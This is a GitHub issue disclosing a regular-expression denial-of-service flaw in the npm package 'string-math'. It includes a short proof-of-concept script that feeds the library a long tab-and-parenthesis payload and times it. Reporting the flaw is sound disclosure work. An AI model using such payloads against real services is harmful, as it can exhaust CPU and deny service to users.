Skip to content

Regex takes longer to process #7

Description

@6en6ar

The regex on line 7. is vulnerable to Regex DoS when a large input is provided to the function with ocurring null bytes and tabs in this case. I did not check the ones above but the first one that is processed is causing delay. This is the PoC code:

var stringMath = require('string-math');
const { performance } = require("perf_hooks");

const start = performance.now();

payload = '\t'.repeat(5000) + '0()'.repeat(100)
//stringMath("-5-5") //-10
stringMath(payload)

const end = performance.now();

console.log(time taken: ${end - start}ms);

Normal time:
time taken: 1.3773619999999767ms

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions